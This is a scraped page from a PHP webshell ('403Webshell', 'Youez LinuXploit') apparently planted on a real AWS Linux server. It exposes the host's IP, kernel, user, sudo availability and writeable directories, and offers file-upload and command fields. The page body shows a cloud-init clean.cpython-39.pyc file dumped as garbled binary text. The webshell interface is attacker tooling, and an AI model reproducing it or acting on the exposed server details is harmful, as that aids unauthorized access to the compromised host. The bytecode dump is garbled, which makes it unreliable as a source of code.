403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3.9/site-packages/cloudinit/cmd/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/cloudinit/cmd/__pycache__/clean.cpython-39.pyc
a

�½b�
�@s�dZddlZddlZddlZddlZddlmZddlmZm	Z	ddl
mZmZm
Z
mZmZddd�Zdd	d
�Zdd�Zd
d�Zedkr�e�dS)zEDefine 'clean' utility and handler as part of cloud-init commandline.�N)�Init)�ProcessExecutionError�subp)�del_dir�del_file�error�get_config_logfiles�is_linkcCsV|stjddd�}|jdddddd	d
�|jddddd
d�|jddddddd
�|S)a#Build or extend an arg parser for clean utility.

    @param parser: Optional existing ArgumentParser instance representing the
        clean subcommand which will be extended to support the args of
        this utility.

    @returns: ArgumentParser with proper argument configuration.
    �cleanzARemove logs and artifacts so cloud-init re-runs on a clean system)�prog�descriptionz-lz--logs�
store_trueF�remove_logszRemove cloud-init logs.)�action�default�dest�help�-rz--rebootz;Reboot system after logs are cleaned so cloud-init re-runs.)rrrz-sz--seed�remove_seedz5Remove cloud-init seed directory /var/lib/cloud/seed.)�argparse�ArgumentParser�add_argument��parser�r�7/usr/lib/python3.9/site-packages/cloudinit/cmd/clean.py�
get_parsers:	����rFcCs�tgd�}|��|r.t|j�D]}t|�q tj�|jj	�sBdStj�
|jj	d�}t�d|jj	�D]z}||krx|sxqfz*tj�|�r�t|�s�t
|�nt|�Wqfty�}z$td�|t|���WYd}~dSd}~00qfdS)a4Helper which removes artifacts dir and optionally log files.

    @param: remove_logs: Boolean. Set True to delete the cloud_dir path. False
        preserves them.
    @param: remove_seed: Boolean. Set True to also delete seed subdir in
        paths.cloud_dir.
    @returns: 0 on success, 1 otherwise.
    )Zds_depsrZseedz%s/*zCould not remove {0}: {1}N�)rZread_cfgrZcfgr�os�path�isdir�pathsZ	cloud_dir�join�globr	r�OSErrorr�format�str)rr�initZlog_fileZ	seed_pathr�errr�remove_artifactsDs&	


r)c
Csvt|j|j�}|dkrr|jrrgd�}zt|dd�Wn<typ}z$td�|t|���d}WYd}~n
d}~00|S)z3Handle calls to 'cloud-init clean' as a subcommand.r)ZshutdownrZnowF)Zcapturez-Could not reboot this system using "{0}": {1}rN)	r)rrZrebootrrrr%r&)�name�argsZ	exit_code�cmdr(rrr�handle_clean_argsds��r-cCst�}t�td|����dS)z4Tool to collect and tar all cloud-init related logs.r
N)r�sys�exitr-�
parse_argsrrrr�mainusr1�__main__)N)F)�__doc__rr#rr.Zcloudinit.stagesrZcloudinit.subprrZcloudinit.utilrrrrr	rr)r-r1�__name__rrrr�<module>s	
+
 

Youez - 2016 - github.com/yon3zu
LinuXploit